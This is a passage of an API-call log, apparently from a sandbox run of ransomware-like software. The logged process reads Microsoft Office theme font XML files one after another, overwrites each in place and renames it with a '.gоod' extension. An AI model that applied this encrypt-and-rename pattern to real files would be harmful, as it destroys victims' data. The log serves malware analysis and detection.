ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d929dc9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xde0)) returned 1 [0163.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0163.347] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml.gоod")) returned 1 [0163.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", lpFilePart=0x0) returned 0x69 [0163.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0163.348] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), fInfoLevelId=0x0, lpFileInformation=0x3387420 | out: lpFileInformation=0x3387420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf6)) returned 1 [0163.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0163.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", lpFilePart=0x0) returned 0x69 [0163.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0163.576] GetFileType (hFile=0x7dc) returned 0x1 [0163.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.577] GetFileType (hFile=0x7dc) returned 0x1 [0163.577] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdf6 [0163.577] ReadFile (in: hFile=0x7dc, lpBuffer=0x346d458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x346d458*, lpNumberOfBytesRead=0x200ec818*=0xdf6, lpOverlapped=0x0) returned 1 [0163.578] CloseHandle (hObject=0x7dc) returned 1 [0163.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", lpFilePart=0x0) returned 0x69 [0163.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0163.658] GetFileType (hFile=0x7dc) returned 0x1 [0163.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.658] GetFileType (hFile=0x7dc) returned 0x1 [0163.659] WriteFile (in: hFile=0x7dc, lpBuffer=0x34eb1f8*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x34eb1f8*, lpNumberOfBytesWritten=0x200ec728*=0xe00, lpOverlapped=0x0) returned 1 [0163.659] CloseHandle (hObject=0x7dc) returned 1 [0163.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", lpFilePart=0x0) returned 0x69 [0163.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml.gоod", lpFilePart=0x0) returned 0x6e [0163.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0163.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5dc27e83, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1 [0163.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0163.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml.gоod")) returned 1 [0163.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", lpFilePart=0x0) returned 0x50 [0163.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0163.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), fInfoLevelId=0x0, lpFileInformation=0x34ec560 | out: lpFileInformation=0x34ec560*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdbd)) returned 1 [0163.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0163.661] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", lpFilePart=0x0) returned 0x50 [0163.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0163.661] GetFileType (hFile=0x7dc) returned 0x1 [0163.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.661] GetFileType (hFile=0x7dc) returned 0x1 [0163.661] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdbd [0163.661] ReadFile (in: hFile=0x7dc, lpBuffer=0x34ed5e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x34ed5e8*, lpNumberOfBytesRead=0x200ec818*=0xdbd, lpOverlapped=0x0) returned 1 [0163.760] CloseHandle (hObject=0x7dc) returned 1 [0163.797] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", lpFilePart=0x0) returned 0x50 [0163.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0163.799] GetFileType (hFile=0x7dc) returned 0x1 [0163.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.799] GetFileType (hFile=0x7dc) returned 0x1 [0163.799] WriteFile (in: hFile=0x7dc, lpBuffer=0x33f1310*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x33f1310*, lpNumberOfBytesWritten=0x200ec728*=0xdc0, lpOverlapped=0x0) returned 1 [0163.799] CloseHandle (hObject=0x7dc) returned 1 [0163.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", lpFilePart=0x0) returned 0x50 [0163.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml.gоod", lpFilePart=0x0) returned 0x55 [0163.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0163.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5dd7f676, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdc0)) returned 1 [0163.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0163.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml.gоod")) returned 1 [0163.800] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", lpFilePart=0x0) returned 0x59 [0163.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0163.801] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), fInfoLevelId=0x0, lpFileInformation=0x33f25e8 | out: lpFileInformation=0x33f25e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde3)) returned 1 [0163.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0163.801] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", lpFilePart=0x0) returned 0x59 [0163.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0163.801] GetFileType (hFile=0x7dc) returned 0x1 [0163.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.801] GetFileType (hFile=0x7dc) returned 0x1 [0163.801] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xde3 [0163.801] ReadFile (in: hFile=0x7dc, lpBuffer=0x33f36d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x33f36d8*, lpNumberOfBytesRead=0x200ec818*=0xde3, lpOverlapped=0x0) returned 1 [0163.843] CloseHandle (hObject=0x7dc) returned 1 [0164.222] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", lpFilePart=0x0) returned 0x59 [0164.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0164.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0164.223] GetFileType (hFile=0x650) returned 0x1 [0164.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0164.223] GetFileType (hFile=0x650) returned 0x1 [0164.223] WriteFile (in: hFile=0x650, lpBuffer=0x3498058*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3498058*, lpNumberOfBytesWritten=0x200ec728*=0xdf0, lpOverlapped=0x0) returned 1 [0164.224] CloseHandle (hObject=0x650) returned 1 [0164.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", lpFilePart=0x0) returned 0x59 [0164.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml.gоod", lpFilePart=0x0) returned 0x5e [0164.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0164.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e18561d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0164.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0164.224] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml.gоod")) returned 1 [0164.225] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", lpFilePart=0x0) returned 0x5e [0164.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0164.225] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), fInfoLevelId=0x0, lpFileInformation=0x3499360 | out: lpFileInformation=0x3499360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd4)) returned 1 [0164.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0164.225] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", lpFilePart=0x0) returned 0x5e [0164.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0164.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0164.226] GetFileType (hFile=0x650) returned 0x1 [0164.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0164.226] GetFileType (hFile=0x650) returned 0x1 [0164.226] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdd4 [0164.226] ReadFile (in: hFile=0x650, lpBuffer=0x349a470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x349a470*, lpNumberOfBytesRead=0x200ec818*=0xdd4, lpOverlapped=0x0) returned 1 [0164.463] CloseHandle (hObject=0x650) returned 1 [0167.907] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", lpFilePart=0x0) returned 0x5e [0167.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0167.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0167.909] GetFileType (hFile=0x644) returned 0x1 [0167.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0167.909] GetFileType (hFile=0x644) returned 0x1 [0167.909] WriteFile (in: hFile=0x644, lpBuffer=0x345f290*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x345f290*, lpNumberOfBytesWritten=0x200ec728*=0xde0, lpOverlapped=0x0) returned 1 [0167.910] CloseHandle (hObject=0x644) returned 1 [0167.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", lpFilePart=0x0) returned 0x5e [0167.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml.gоod", lpFilePart=0x0) returned 0x63 [0167.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0167.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x604b0277, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xde0)) returned 1 [0167.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0167.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml.gоod")) returned 1 [0167.911] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", lpFilePart=0x0) returned 0x52 [0167.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0167.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), fInfoLevelId=0x0, lpFileInformation=0x34605b0 | out: lpFileInformation=0x34605b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdbd)) returned 1 [0167.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0167.911] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", lpFilePart=0x0) returned 0x52 [0167.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0167.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 